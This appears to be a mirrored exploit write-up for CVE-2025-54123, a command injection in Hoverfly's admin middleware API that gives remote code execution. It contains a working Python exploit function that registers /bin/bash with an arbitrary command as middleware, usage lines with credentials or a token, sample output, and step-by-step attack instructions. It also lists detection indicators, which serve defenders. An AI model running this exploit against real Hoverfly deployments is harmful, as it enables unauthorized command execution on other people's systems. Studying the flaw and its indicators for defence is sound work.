Hoverfly Middleware Command Injection to RCE (CVE-2025-54123)

Metadata

Affected Target

Summary

Hoverfly exposes a middleware configuration API (/api/v2/hoverfly/middleware) that lets an authenticated admin register an external “middleware” process to pre/post-process simulated HTTP traffic, specified as a binary (interpreter/executable) plus a script string. Hoverfly does not adequately restrict or sanitize the script/binary values before invoking them, so an authenticated user can register a middleware whose binary is /bin/bash and whose script is an arbitrary shell command; when Hoverfly processes traffic through this middleware, it executes the attacker-controlled command and returns its output (including in error responses). The PoC script authenticates to Hoverfly’s /api/token-auth endpoint (or accepts a pre-obtained bearer token), then issues an authenticated PUT to /api/v2/hoverfly/middleware with a malicious binary/script pair, extracts the command’s STDOUT from the resulting error response, and prints it — demonstrating full command execution as the Hoverfly process user.

Vulnerability Details

Root Cause

The Hoverfly middleware feature accepts a binary and script value from the authenticated admin API and directly executes them as a subprocess without validating that they correspond to an intended, sandboxed middleware script — allowing arbitrary shell commands to be injected as the “script” and run via /bin/bash as the interpreter (CWE-78: OS Command Injection). From CVE-2025-54123.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

def exploit(dom, port, token, cmd):
    url = f"http://{dom}:{port}/api/v2/hoverfly/middleware"
    header = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    payload = {
        "binary": "/bin/bash",
        "script": f"{cmd}"
    }
    ex = requests.put(url, json=payload, headers=header)
    output = ex.json()["error"]
    stdout = output.split("STDOUT:\n")[1]
    print(stdout)

Hoverfly attempts to run the supplied “script” through /bin/bash as a middleware validation step, and when it fails/errors, it leaks the full STDOUT of the executed command inside the JSON error response — giving the attacker both code execution and command output retrieval in a single authenticated API call.

Attack Vector

1. Authenticate to the Hoverfly admin API: POST /api/token-auth with a valid username/password to obtain a bearer token (or supply an already-known/leaked token directly).
2. Send PUT /api/v2/hoverfly/middleware with Authorization: Bearer <token> and a JSON body {"binary": "/bin/bash", "script": "<attacker command>"}.
3. Hoverfly invokes /bin/bash with the attacker’s script as middleware validation and returns an error field in the JSON response containing the process’s STDOUT.
4. Parse the response to recover the command’s output, achieving arbitrary command execution as the Hoverfly service account.

Impact

Remote code execution as the user running the Hoverfly process, for any party holding (or able to obtain) valid Hoverfly admin credentials or a bearer token — a low bar in environments where Hoverfly is deployed with default/weak credentials or exposed admin APIs, since the “middleware” feature is legitimate functionality being abused rather than a memory-safety bug.

Environment / Lab Setup

Target:   Hoverfly <= v1.11.3, admin API reachable on TCP/8888 (default), with
          valid dashboard credentials or a leaked/obtained access token
Attacker: Python 3.8+
          pip install requests

Proof of Concept

PoC Script

See CVE-2025-54123.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

python CVE-2025-54123.py \
  --target TARGET \
  --port 8888 \
  -u admin \
  -p password \
  --cmd "id"

python CVE-2025-54123.py \
  --target TARGET \
  --port 8888 \
  --token ACCESS_TOKEN \
  --cmd "id"

Example output:

1
2
3
4
5
6
7
8
9

Approacing target : TARGET
Attempting login to http://TARGET:8888/api/token-auth
Checking Credentials....
Login Successfull!
Exploiting Command Injection...
Makesure to start your listener for gaining shell..
Injected : id
uid=1000(user) gid=1000(user)
Exploited Succesfully

Detection & Indicators of Compromise

Signs of compromise:

• PUT /api/v2/hoverfly/middleware requests with a binary of /bin/bash, sh, python, etc. and a script value resembling a shell command rather than legitimate middleware logic
• JSON error responses from Hoverfly containing STDOUT: sections with command output
• Unexpected child processes spawned by the Hoverfly service (e.g. bash -c "...")
• Repeated /api/token-auth requests from unfamiliar sources, indicating credential brute-forcing

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/0xk4rth1/CVE-2025-54123 on 2026-07-06. The script is a functional, working PoC that authenticates to Hoverfly’s token-auth endpoint and PUTs a malicious middleware binary/script pair to achieve command injection/RCE, as confirmed by direct code review.